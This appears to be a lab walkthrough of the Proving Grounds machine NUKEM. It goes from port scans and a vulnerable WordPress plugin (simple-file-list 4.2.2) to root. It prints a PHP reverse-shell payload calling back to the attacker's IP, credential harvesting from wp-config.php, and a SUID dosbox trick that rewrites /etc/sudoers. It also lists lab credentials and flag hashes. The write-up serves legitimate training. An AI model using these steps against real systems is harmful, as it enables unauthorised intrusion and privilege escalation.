Summary #
We can access the target using provided credentials through SSH or by enumerating the WordPress site using wpscan
and exploiting the simple-file-list
plugin with a known vulnerability in order to get initial access as the http
user. Finding the credentials of the commander
user in the wp-config.php
file allows SSH access to the target. Using the SUID bit on the dosbox
binary we can get to root.
Specifications #
- Name: NUKEM
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- OS: Linux nukem 5.8.9-arch2-1 #1 SMP PREEMPT Sun, 13 Sep 2020 23:44:55 +0000 x86_64 GNU/Linux
- IP address: 192.168.151.105
- OFFSEC provided credentials:
commander:CommanderKeenVorticons1990
- HASH:
local.txt
:47769829dcc04572e5827e553efe25d3
- HASH:
proof.txt
:e85274d77ea77c029b69a8069a248f77
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir nukem && cd nukem && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 19 18:03 .
drwxrwxr-x 9 kali kali 4096 Jul 19 18:03 ..
drwxrwxr-x 2 kali kali 4096 Jul 19 18:03 enum
drwxrwxr-x 2 kali kali 4096 Jul 19 18:03 exploits
drwxrwxr-x 2 kali kali 4096 Jul 19 18:03 files
drwxrwxr-x 2 kali kali 4096 Jul 19 18:03 tools
drwxrwxr-x 2 kali kali 4096 Jul 19 18:03 uploads
## set bash variable
ip=192.168.151.105
## ping target to check if it's online
ping $ip
PING 192.168.151.105 (192.168.151.105) 56(84) bytes of data.
64 bytes from 192.168.151.105: icmp_seq=1 ttl=61 time=17.7 ms
64 bytes from 192.168.151.105: icmp_seq=2 ttl=61 time=17.5 ms
^C
--- 192.168.151.105 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.471/17.602/17.733/0.131 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.151.105:22
Open 192.168.151.105:80
Open 192.168.151.105:3306
Open 192.168.151.105:5000
Open 192.168.151.105:13000
Open 192.168.151.105:36445
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 18:07 CEST
Initiating Ping Scan at 18:07
Scanning 192.168.151.105 [4 ports]
Completed Ping Scan at 18:07, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:07
Completed Parallel DNS resolution of 1 host. at 18:07, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:07
Scanning 192.168.151.105 [6 ports]
Discovered open port 3306/tcp on 192.168.151.105
Discovered open port 22/tcp on 192.168.151.105
Discovered open port 80/tcp on 192.168.151.105
Discovered open port 5000/tcp on 192.168.151.105
Discovered open port 36445/tcp on 192.168.151.105
Discovered open port 13000/tcp on 192.168.151.105
Completed SYN Stealth Scan at 18:07, 0.05s elapsed (6 total ports)
Nmap scan report for 192.168.151.105
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-07-19 18:07:36 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
5000/tcp open upnp syn-ack ttl 61
13000/tcp open unknown syn-ack ttl 61
36445/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 10 (416B) | Rcvd: 7 (292B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
5000/tcp open upnp syn-ack ttl 61
13000/tcp open unknown syn-ack ttl 61
36445/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,80,3306,5000,13000,36445
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,5000,13000,36445 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIa7leEeVssjdrJAMl1xs+qCC7DvEgvhDmYxn7oFKkzQdWQXNwPDaf19b+8uxImEAQ3uRXYg56MItfQ54pTuDpJSuuSfCXyqH9/o5S+gugCgkGiWRTlyXAmCe4uM4ZZD09yChsJ0LdPKvqM19l5o+8KCBuXAGOX7Co60oUpD3+xINAS/XQYFdY1RARpIsuzd3qUHkeKJvGp2hbI6b2bgfcjTcPgBaLKLMa6OZ208whcHdYwJdOnc2m3mi2o9v+ETK+P8exJ1/DTIYLLVlo0BPMqlCE2R4JyEfp8RQeggq42yHOMmBI6pQ/BhClgheiPDhF+hQLNafLgkLeHv625eFq7V8bwi2Uy7/NV8jip1FobFhaT2L/MiRHnx7my4Cxk0BzoAvj0fOzOXouT5rMon6o14x/HTQBqORFhLvTNkCnPE0nen8ohQ05R0oWFiVwH74OaLHvwmzUuy8d1Wln5rW26q+UjZy1AIGpRHvyfEV5dzmB0ujnrE8Io702tIb/ssM=
| 256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLFrQmyRArhVBZ7HJi6W3YN/7sFuTBg5RLoffgVyCRaVpqj/VAwL3c85iE7s1x61oRu7CiVIvzOcYAMh5BfOjuI=
| 256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMWYiSpSV5PFfFK8fw7UZ1MAMHej2xBONdUi5CSr7huF
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3306/tcp open mysql syn-ack ttl 61 MariaDB 10.3.24 or later (unauthorized)
5000/tcp open http syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.8.5)
|_http-server-header: Werkzeug/1.0.1 Python/3.8.5
|_http-title: 404 Not Found
13000/tcp open http syn-ack ttl 61 nginx 1.18.0
|_http-title: Login V14
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0
36445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4
Initial Access #
Initial Access: path 1 #
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:6a:f5:d3:30:08:7a:ec:38:28:a0:88:4d:75:da:19 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIa7leEeVssjdrJAMl1xs+qCC7DvEgvhDmYxn7oFKkzQdWQXNwPDaf19b+8uxImEAQ3uRXYg56MItfQ54pTuDpJSuuSfCXyqH9/o5S+gugCgkGiWRTlyXAmCe4uM4ZZD09yChsJ0LdPKvqM19l5o+8KCBuXAGOX7Co60oUpD3+xINAS/XQYFdY1RARpIsuzd3qUHkeKJvGp2hbI6b2bgfcjTcPgBaLKLMa6OZ208whcHdYwJdOnc2m3mi2o9v+ETK+P8exJ1/DTIYLLVlo0BPMqlCE2R4JyEfp8RQeggq42yHOMmBI6pQ/BhClgheiPDhF+hQLNafLgkLeHv625eFq7V8bwi2Uy7/NV8jip1FobFhaT2L/MiRHnx7my4Cxk0BzoAvj0fOzOXouT5rMon6o14x/HTQBqORFhLvTNkCnPE0nen8ohQ05R0oWFiVwH74OaLHvwmzUuy8d1Wln5rW26q+UjZy1AIGpRHvyfEV5dzmB0ujnrE8Io702tIb/ssM=
| 256 43:3b:b5:bf:93:86:68:e9:d5:75:9c:7d:26:94:55:81 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLFrQmyRArhVBZ7HJi6W3YN/7sFuTBg5RLoffgVyCRaVpqj/VAwL3c85iE7s1x61oRu7CiVIvzOcYAMh5BfOjuI=
| 256 e3:f7:1c:ae:cd:91:c1:28:a3:3a:5b:f6:3e:da:3f:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMWYiSpSV5PFfFK8fw7UZ1MAMHej2xBONdUi5CSr7huF
Because we got credentials from OFFSEC we first try to login using SSH on TCP port 22.
## login to target using SSH and provided credentials
ssh commander@$ip
## get directory listing
[commander@nukem ~]$ ls -la
total 72
drwxr-xr-x 10 commander commander 4096 Jan 30 07:49 .
drwxr-xr-x 3 root root 4096 Sep 18 2020 ..
<SNIP>
drwxr-xr-x 2 commander commander 4096 Sep 18 2020 Desktop
-rw-r--r-- 1 commander commander 33 Jul 19 16:01 local.txt
drwxr-xr-x 2 commander commander 4096 Sep 18 2020 python_rest_flask
## print `local.txt`
[commander@nukem ~]$ cat local.txt
47769829dcc04572e5827e553efe25d3
Initial Access: path 2 #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-generator: WordPress 5.5.1
|_http-title: Retro Gamming – Just another WordPress site
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
As we can see in the output of NMAP this site is a WordPress site. Let’s run the wpscan
tool to see what details we can get.
wpscan --url http://192.168.151.105/ -e u,ap,at,cb,dbe --plugins-detection aggressive --plugins-version-detection aggressive
In the output of this command we find a WordPress plugin called simple-file-list
version 4.2.2.
[+] simple-file-list
| Location: http://192.168.151.105/wp-content/plugins/simple-file-list/
| Last Updated: 2025-07-03T17:02:00.000Z
| Readme: http://192.168.151.105/wp-content/plugins/simple-file-list/readme.txt
| [!] The version is out of date, the latest version is 6.1.15
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.151.105/wp-content/plugins/simple-file-list/, status: 200
|
| Version: 4.2.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.151.105/wp-content/plugins/simple-file-list/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.151.105/wp-content/plugins/simple-file-list/readme.txt
When we search online for a exploit of this version of simple-file-list
we can find: https://www.exploit-db.com/exploits/48979. We can also find this exploit using searchsploit.
## use searchsploit to find exploit
searchsploit wordpress | grep 'Simple File List'
WordPress Plugin Simple File List 4.2.2 - Arbitrary File Upload | php/webapps/48979.py
WordPress Plugin Simple File List 4.2.2 - Remote Code Execution | php/webapps/48449.py
## change directory
cd exploits
## mirror exploit locally
searchsploit -m php/webapps/48979.py
Exploit: WordPress Plugin Simple File List 4.2.2 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/48979
Path: /usr/share/exploitdb/exploits/php/webapps/48979.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
When we read the exploit we need to change an IP address and port and setup a listener.
## get IP address on tun0
ip a
<SNIP>
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.195/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::8691:316d:7cbd:4146/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 80
Change this entry in the exploit to the correct IP address and port.
payload = '<?php passthru("bash -i >& /dev/tcp/192.168.45.195/80 0>&1"); ?>'
Once edited and saved we can run the exploit and get initial access as the http
user which can also access the local.txt
in the home directory of the commander
user.
## run exploit using the URL of the website
python 48979.py http://192.168.151.105/
[ ] File 5392.png generated with password: d5bd42567938341645904264d71702e4
[ ] File uploaded at http://192.168.151.105//wp-content/uploads/simple-file-list/5392.png
[ ] File moved to http://192.168.151.105//wp-content/uploads/simple-file-list/5392.php
[+] Exploit seem to work.
[*] Confirmning ...
## get reverse shell on listener
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.151.105] 58942
bash: cannot set terminal process group (300): Inappropriate ioctl for device
bash: no job control in this shell
## run whoami to see the current user
[http@nukem simple-file-list]$ whoami
http
## change directory to the root of the `commander` user
[http@nukem simple-file-list]$ cd /home/commander
## get directory listing
[http@nukem commander]$ ls
Desktop
local.txt
python_rest_flask
## print `local.txt`
[http@nukem commander]$ cat local.txt
47769829dcc04572e5827e553efe25d3
Lateral Movement #
In order to get from the http
user to the commander
user we need to get this user’s credentials. Credentials can be found in the wp-config.php
file. First we need to find this file on the target and then print it to get the content.
## find the `wp-config.php` file
[http@nukem tmp]$ find /srv -iname 'wp-config.php' 2>/dev/null
find /srv -iname 'wp-config.php' 2>/dev/null
/srv/http/wp-config.php
## print the file
[http@nukem tmp]$ cat /srv/http/wp-config.php
In this file we find the credentials of the commander
user, which we can use to login using SSH.
/** MySQL database username */
define( 'DB_USER', 'commander' );
/** MySQL database password */
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
Login as commander
using SSH:
## login as the `commander` user using SSH
ssh commander@$ip
commander@192.168.151.105's password:
Last login: Sat Jul 19 16:13:32 2025 from 192.168.45.195
[commander@nukem ~]$
Privilege Escalation #
First we download linpeas locally, upload it to the target and run it.
## change directory
cd uploads
## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local webserver
python3 -m http.server 80
## on target, download `linpeas.sh`
[commander@nukem ~]$ wget http://192.168.45.195/linpeas.sh
--2025-07-19 17:24:17-- http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[==============================================>] 933.76K 5.78MB/s in 0.2s
2025-07-19 17:24:18 (5.78 MB/s) - 'linpeas.sh' saved [956174/956174]
## change the execution bit
[commander@nukem ~]$ chmod +x linpeas.sh
## run `linpeas.sh`
[commander@nukem ~]$ ./linpeas.sh
Within the linpeas output we can see that the /usr/bin/dosbox
binary has the SUID bit set. We can verify this in current shell.
## find binaries with SUID bit set and grep for `dosbox`
[commander@nukem ~]$ find / -perm /4000 -ls 2>/dev/null | grep dosbox
435165 2548 -rwsr-xr-x 1 root root 2606856 Jul 7 2020 /usr/bin/dosbox
Indeed the SUID bit is set. When we check GTFOBins (https://gtfobins.github.io/gtfobins/dosbox/#suid).
We can abuse the /etc/sudoers
file to add the commander
user.
## set LFILE parameter
[commander@nukem ~]$ LFILE='/etc/sudoers'
## execute the dosbox binary to add our user to `/etc/sudoers`
[commander@nukem ~]$ /usr/bin/dosbox -c 'mount c /' -c "echo commander ALL=(ALL:ALL) ALL >c:$LFILE" -c exit
When we run sudo -l
and enter the password for the commander
user we get ALL privileges and we can escalate to root:
## run `sudo -l` and enter the password
[commander@nukem ~]$ sudo -l
[sudo] password for commander:
User commander may run the following commands on nukem:
(ALL : ALL) ALL
## escalate to root
[commander@nukem ~]$ sudo su -
[root@nukem ~]# whoami
root
[root@nukem ~]# cat /root/proof.txt
e85274d77ea77c029b69a8069a248f77
References #
[+]